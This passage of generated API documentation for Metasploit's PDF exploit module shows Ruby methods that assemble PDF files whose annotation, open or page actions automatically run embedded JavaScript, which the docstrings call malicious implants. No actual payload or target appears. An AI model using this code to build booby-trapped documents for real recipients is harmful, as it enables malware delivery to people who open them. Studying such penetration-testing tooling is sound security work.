<span class='id identifier rubyid_result'>result</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="pdf_with_annot_js-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>pdf_with_annot_js</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Create PDF with a malicious annotation</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
321
|
|||
|
|
322
|
|||
|
|
323
|
|||
|
|
324
|
|||
|
|
325
|
|||
|
|
326
|
|||
|
|
327
|
|||
|
|
328
|
|||
|
|
329
|
|||
|
|
330
|
|||
|
|
331
|
|||
|
|
332
|
|||
|
|
333
|
|||
|
|
334
|
|||
|
|
335
|
|||
|
|
336
|
|||
|
|
337
|
|||
|
|
338
|
|||
|
|
339
|
|||
|
|
340</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 321</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_annot_js'>pdf_with_annot_js</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|||
|
|
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /Annots [</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>6</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>6</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="pdf_with_openaction_js-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>pdf_with_openaction_js</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Create PDF with OpenAction implant Note: doesn’t carry over if you try to merge the exploit PDF with an innocuous one</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
298
|
|||
|
|
299
|
|||
|
|
300
|
|||
|
|
301
|
|||
|
|
302
|
|||
|
|
303
|
|||
|
|
304
|
|||
|
|
305
|
|||
|
|
306
|
|||
|
|
307
|
|||
|
|
308
|
|||
|
|
309
|
|||
|
|
310
|
|||
|
|
311
|
|||
|
|
312
|
|||
|
|
313
|
|||
|
|
314
|
|||
|
|
315
|
|||
|
|
316</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 298</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_openaction_js'>pdf_with_openaction_js</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|||
|
|
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /AA << /O << /JS </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="pdf_with_page_exploit-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>pdf_with_page_exploit</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Create PDF with Page implant</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
275
|
|||
|
|
276
|
|||
|
|
277
|
|||
|
|
278
|
|||
|
|
279
|
|||
|
|
280
|
|||
|
|
281
|
|||
|
|
282
|
|||
|
|
283
|
|||
|
|
284
|
|||
|
|
285
|
|||
|
|
286
|
|||
|
|
287
|
|||
|
|
288
|
|||
|
|
289
|
|||
|
|
290
|
|||
|
|
291
|
|||
|
|
292</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 275</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_page_exploit'>pdf_with_page_exploit</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|||
|
|
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /AA << /O << /JS </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="random_non_ascii_string-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>random_non_ascii_string</strong>(count) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
88
|
|||
|
|
89
|
|||
|
|
90
|
|||
|
|
91
|
|||
|
|
92
|
|||
|
|
93
|
|||
|
|
94</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 88</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_random_non_ascii_string'>random_non_ascii_string</span><span class='lparen'>(</span><span class='id identifier rubyid_count'>count</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_count'>count</span><span class='period'>.</span><span class='id identifier rubyid_times'>times</span> <span class='kw'>do</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>128</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>128</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="run_length_encode-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>run_length_encode</strong>(stream) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Filters from Origami parser</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
47
|
|||
|
|
48
|
|||
|
|
49
|
|||
|
|
50
|
|||
|
|
51
|
|||
|
|
52
|
|||
|
|
53
|
|||
|
|
54
|
|||
|
|
55
|
|||
|
|
56
|
|||
|
|
57
|
|||
|
|
58
|
|||
|
|
59
|
|||
|
|
60
|
|||
|
|
61
|
|||
|
|
62
|
|||
|
|
63
|
|||
|
|
64
|
|||
|
|
65
|
|||
|
|
66
|
|||
|
|
67
|
|||
|
|
68
|
|||
|
|
69
|
|||
|
|
70
|
|||
|
|
71
|
|||
|
|
72
|
|||
|
|
73
|
|||
|
|
74
|
|||
|
|
75
|
|||
|
|
76
|
|||
|
|
77
|
|||
|
|
78
|
|||
|
|
79
|
|||
|
|
80
|
|||
|
|
81
|
|||
|
|
82
|
|||
|
|
83
|
|||
|
|
84
|
|||
|
|
85
|
|||
